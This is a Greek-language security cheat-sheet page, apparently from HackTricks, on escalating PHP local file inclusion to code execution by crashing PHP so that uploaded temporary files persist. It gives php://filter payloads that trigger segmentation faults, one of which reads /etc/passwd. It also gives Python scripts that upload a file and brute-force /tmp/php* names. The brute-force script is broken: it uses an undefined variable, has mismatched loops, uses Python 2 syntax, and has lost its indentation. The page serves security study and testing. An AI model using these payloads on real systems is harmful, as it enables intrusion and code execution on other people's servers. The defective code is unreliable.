LFI2RCE via Segmentation Fault

Υποστηρίξτε το HackTricks

Σύμφωνα με τα άρθρα https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (δεύτερο μέρος) και https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, οι παρακάτω φορτία προκάλεσαν segmentation fault στο PHP:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Πρέπει να γνωρίζετε ότι εάν στείλετε ένα αίτημα POST περιέχοντας ένα αρχείο, το PHP θα δημιουργήσει ένα προσωρινό αρχείο στο /tmp/php<κάτι> με το περιεχόμενο του αρχείου αυτού. Αυτό το αρχείο θα διαγραφεί αυτόματα μόλις επεξεργαστείτε το αίτημα.

Εάν βρείτε ένα LFI και καταφέρετε να ενεργοποιήσετε ένα segmentation fault στο PHP, το προσωρινό αρχείο δεν θα διαγραφεί ποτέ. Επομένως, μπορείτε να το αναζητήσετε με την ευπάθεια LFI μέχρι να το βρείτε και να εκτελέσετε αυθαίρετο κώδικα.

Μπορείτε να χρησιμοποιήσετε την εικόνα docker https://hub.docker.com/r/easyengine/php7.0 για δοκιμές.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
Υποστήριξε το HackTricks

Last updated